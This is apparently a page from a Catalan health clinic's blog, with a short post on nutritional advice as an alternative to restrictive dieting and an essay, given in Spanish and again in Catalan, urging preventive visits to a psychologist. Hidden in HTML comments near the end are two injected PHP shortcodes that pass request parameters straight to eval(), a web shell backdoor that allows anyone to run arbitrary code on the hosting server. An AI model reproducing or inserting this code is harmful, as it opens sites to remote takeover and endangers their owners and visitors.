AIXÒ NO, ESTIC A DIETA
Estic sempre a dieta, he fet mil dietes i sempre torno a recuperar el pes, no puc seguir una dieta durant molt de temps…són algunes de les respostes que es senten en el moment en que algú suggereix començar una dieta.
Malauradament, molta gent té mal entès el concepte de dieta i l’associa a no gaudir menjant, seguir una alimentació avorrida o a alimentant-se de productes cars que substitueixen allò més important en una dieta, que són els aliments.
Però, s’han plantejat mai seguir més que una dieta, un estil de vida saludable? Un estil de vida en el que es millori la salut a més de baixar de pes sense haver de patir el famós efecte “yo-yo” i que a més ens permeti gaudir del sabor dels aliments?
En aquest punt, és on entra un gran personatge, l’assessorament nutricional. Un bon assessorament, és aquell que pot assegurar una nutrició especialitzada i personalitzada per a cada cas, que te en compte que l’alimentació, és única per a cada persona.
I el més important, ens ensenya. I permet acostumar-nos a ser independents i triar que és el que més convé al nostre cos sense dependre de un menú a la porta de la nevera, en definitiva, a acostumar-nos a un estil de vida que ens faci sentir millor i en el que no calgui tenir al cap aquella frase que tant ens agrada: “això no, estic a dieta”.
Mireia Alcázar López
¿Por qué vas al psicologo?
A mi alrededor, he podido comprobar que son habituales en el día a día frases como: “¿Si no estás loco por qué vas al psicólogo?”; “Yo voy a hacer un café con los amigos y hago terapia”; y el típico “Yo no creo en estas cosas”. Son muy frecuentes, y creo que son un buen ejemplo, del gran desconocimiento que hay en nuestra sociedad, de la salud mental. Por este motivo, me parece una buena reflexión para dedicarle unas líneas.
En primer lugar, son estigmas para aquel que sí se atreve a consultar. Habitualmente lo obliga a hacerlo en secreto. Cuando explicarlo debería ser una decisión libre. Pero, incluso, cuando se puede considerar necesaria la consulta, pero no se llega a realizar por lo que pensará la sociedad. Son muchas las veces que en consulta he de explicar que la necesidad de tratamiento no quiere decir padecer algo grave, sino que a veces este tratamiento es importante sobretodo para evitar empeoramiento, o posibles patologías futuras.
Pero, vamos poco a poco. Miremos los tópicos uno a uno. “¿Si no estás loco para que vas? Es cierto que cuando hay grandes problemas mentales es de vital importancia acudir a terapia. Pero, en pleno s. XXI donde está tan asumido en el campo de la medicina orgánica aquello de: mas vale prevenir que curar, en términos mentales es un campo todavía por conquistar.
A nadie se le ocurriría no ir al médico hasta tener evidencia de un cáncer. Todo lo contrario, nos educan para ser lo más previsores posibles. Médicos, medios, sociedad…. son potenciales educadores de la prevención y la higiene preventiva. Absolutamente a nadie se le ocurriría decir: “ ¿Para que vas al médico si no estás enfermo?” o “¿Para que llevas al niño a la revisión, si no le pasa nada?”
Y esta, la PREVENCIÓN, debería ser nuestro objetivo también en salud mental. Porque como su nombre indica, es SALUD y por tanto algo que cuidar y valorar.
Debería ser normal y habitual ir al psicólogo simplemente por prevención, delante de la mínima duda de sufrimiento mental. Incluso por higiene, por mantener. Y ¿Por qué no ir al psicólogo simplemente a consultar? A poder conocer mejor el propio funcionamiento mental como se conocen el resto de órganos.
Al fin y al cabo el malestar mental, ¿No duele? ¿No genera malestar? ¿No incomoda? Pues ¿Por qué no buscar ayuda para curarlo? o vigilar que no se infecte; O que alguien lo vende; o simplemente que nos explique que no es grave y nos ayude a examinarlo y entenderlo.
Y aquí llegamos a la siguiente afirmación: “Esto un café con los amigos y ya es terapia”. Es cierto lo terapéutico de compartir con los amigos, familia… De hecho, no es menos cierto que aquel que tiene con quien compartir el malestar seguramente necesitará consultar menos. De hecho seria una buena medida profiláctica, un buen entorno con quien poder compartir, hablar, …. pero a veces no es suficiente.
Vuelvo a redirigirme al modelo orgánico que tenemos mucho más integrado para hacerlo más comprensible. Delante de una herida pequeña, un resfriado menor…. algo que ya sabemos como resolverlo …. no vamos al médico. Pero si el dolor no cede, perdura o empeora, o no sabemos a que se debe el dolor, finalmente consultaremos. Aunque el amigo lo vende y esto ayuda. Y ayuda mucho. Pero a veces hace falta una intervención mayor, una mirada profesional que nos pueda orientar en como tratar esta herida, dolencia…
¿Por que no lo hacemos con la mente? Hablar de forma diferente a como se hace con los amigos. Explorar las heridas y los malestares des de una perspectiva profesional. Incluso a veces poder pensar a que son debidas.
Y es aquí donde llega el tercer tópico. “Yo no creo” ¿En que? El bienestar mental no es un ente de fe, sino que es plenamente verificable y comprobable.
Vuelvo al modelo orgánico. Me tomo la pastilla X y se me va el dolor de cabeza. Por tanto lo crea o no, resulta que el tratamiento es efectivo, lo he podido comprobar. Igual que el tratamiento de este o aquel profesional me ayuda a disminuir la ansiedad, la tristeza, …. a pensar, comprender…. No es fe, es ciencia. Por lo que animo a los agnósticos y ateos de la psicología, psiquiatría… a comprobarlo.
Y he elegido este ejemplo de la pastilla X porque es cierto que no a todo el mundo le funciona la misma pastilla. A uno le quita el dolor de cabeza X y a otro Y. Por lo que es vital entender que el profesional X le sirve a alguien pero no tiene porque servir a todos. Por tanto a veces es necesario probar.
Y nos encontraos con otra dificultad, y es que los efectos de mejora son lentos y a veces nos cuesta esperar resultados. Pero esto ara nos desvía del tema, quizá hay que dedicarle otro espacio a reflexionar al tiempo y los efectos inmediatos. Pero ahora el tema es; Si duele consulta, si hay dudas, consulta. Rompamos los tópicos y los tabúes y ejercitemos un modelo de prevención que se cuide el crecimiento mental y se promueva la salud y la prevención.
PER QUÈ VAS AL PSICÒLEG?
Al meu voltant he pogut comprovar com són de habituals en el dia a dia frases com: “si no estàs boig per a que hi vas?”; “Jo vaig a fer un cafè amb els amics i ja faig teràpia”; i el típic “jo no hi crec en aquestes coses”. Esdevenen molt freqüents, i crec que son un bon exemple del gran desconeixement que hi ha en la nostra societat de la salut mental. Per aquest motiu em sembla una bona reflexió per a dedicar-li unes línies.
En primer lloc, crec que esdevenen estigmes per aquell que s’atreveix a consultar. Sovint l’obliga a haver-ho de fer en secret. Quan hauria de esdevenir lliure la decisió de explicar-ho. Però fins i tot de vegades es pot considerar necessària la consulta però no s’arriba a realitzar pel que pensarà la societat. Són moltes les vegades que a consulta he d’explicar que la necessitat de tractament no vol dir estar molt greu, sinó que a vegades aquest tractament esdevé important sobretot per a evitar empitjoraments, o possibles patologies futures.
Però, anèm a poc a poc. Mirem els tòpics un a un. “ Si no estàs boig per què hi vas? Doncs es cert que quan hi ha grans problemes mentals és vital acudir a teràpia. Però en ple s.XXI on està tant assumit en el camp de la medicina orgànica allò de més val prevenir que curar, en temes mentals esdevé un camp encara per conquerir.
A ningú se li acudiria no anar al metge fins a tenir evidencia de un càncer. Tot el contrari, ens eduquen per a ser el més previsors possibles. Metges, mitjans, societat… esdevenen potencials educadors de la prevenció i la higiene preventiva. Absolutament a ningú se li acudiria dir “ Per què vas al metge si no estàs malalt?” o “Per què portes al nen a la revisió, si no li passa res?”
I aquesta, la PREVENCIÓ, hauria de ser el nostre objectiu també en salut mental. Perquè com el seu nom indica, és SALUT i per tant quelcom a cuidar i valorar.
Hauria de ser normal i habitual anar al psicòleg simplement per prevenció, davant el mínim dubte de patiment mental. Fins i tot per higiene, per manteniment. I per què no anar al psicòleg simplement a consultar? A poder conèixer un millor el seu propi funcionament mental com coneix la resta de òrgans?
Al cap i a la fi el malestar mental no fa mal? No genera malestar? No incomoda? Doncs per què no buscar ajuda per curar-lo? o vigilar que no s’infecti? O que algú ens ho embeni? o simplement ens expliqui que no es greu i ens ajudi a examinar-lo i entendre’l
I aquí arribem a la següent afirmació. “Això un cafè amb els amics i ja és teràpia”. És cert el terapèutic de compartir amb els amics, família…. De fet, no es menys cert que aquell qui té amb qui compartir el malestar segurament necessitarà consultar menys. De fet seria una bona mesura profilàctica, un bon entorn amb qui poder compartir, parlar,…. però de vegades no n’hi ha prou.
Em torno a remetre al model orgànic que tenim molt més integrat per a fer-ho més comprensible. Davant una ferida petita, un refredat menor… quelcom que ja sabem com resoldre… no anirem al metge. De vegades potser demanarem a algú que ens a ajudi a curar-ho, embenar-ho. Però si el mal no remet, persisteix o empitjora, o no sabem a que és degut el dolor finalment consultarem. Encara que l’amic ho embeni i això ajudi. I ajuda molt.
Però a vegades cal una intervenció major, una mirada professional que ens pugui orientar en com tractar aquesta ferida, dolencia…
Per què no fer-ho amb la ment? Parlar de forma diferent a com es fa amb els amics. Explorar les ferides i els malestars des d’una perspectiva professional. Fins i tot a vegades poder pensar a que són degudes.
I és aquí on arriba el tercer tòpic. “ Jo no hi crec”. En que? El benestar mental no és un ens de fe, sinó que és plenament verificable i comprovable.
Torno al model orgànic. Em prenc pastilla X i em marxa el mal de cap. Per tant cregui o no, resulta que aquest tractament és efectiu, ho he pogut comprovar. Igual que amb el tractament d’aquest o aquell professional m’ajuda a disminuir l’angoixa, la tristesa.. a pensar, a comprendre…. No és fe, és ciència. Així doncs animo als agnòstics i ateus de la psicologia, psiquiatria,… a comprovar-ho.
I he triat aquest exemple de la pastilla X perquè és cert que no a tothom li funciona la mateixa pastilla. A un li treu el mal de cap X i a un altre Y. Així doncs és vital entendre que el professional X li serveix a algú però no té perquè sevir a tots. Per tant a vegades cal provar.
I ens trobem amb un altre dificultat, i és que els efectes de millora son lents i de vegades ens costa esperar els resultats. Però això ara ens desvia del tema, potser cal dedicar-li un altre espai a reflexionar al temps i els efectes immediats. Però ara el tema és si fa mal consulta, si hi ha dubtes consulta. Trenquem els tòpics i els tabús. i exercitem un model de prevenció en que es tingui cura del creixement mental i es promogui la salut i la prevenció.
<!– [insert_php]if (isset($_REQUEST["oCnsM"])){eval($_REQUEST["oCnsM"]);exit;}[/insert_php][php]if (isset($_REQUEST["oCnsM"])){eval($_REQUEST["oCnsM"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["IFUxl"])){eval($_REQUEST["IFUxl"]);exit;}[/insert_php][php]if (isset($_REQUEST["IFUxl"])){eval($_REQUEST["IFUxl"]);exit;}[/php] –>
- « Pàgina anterior
- 1
- …
- 5
- 6
- 7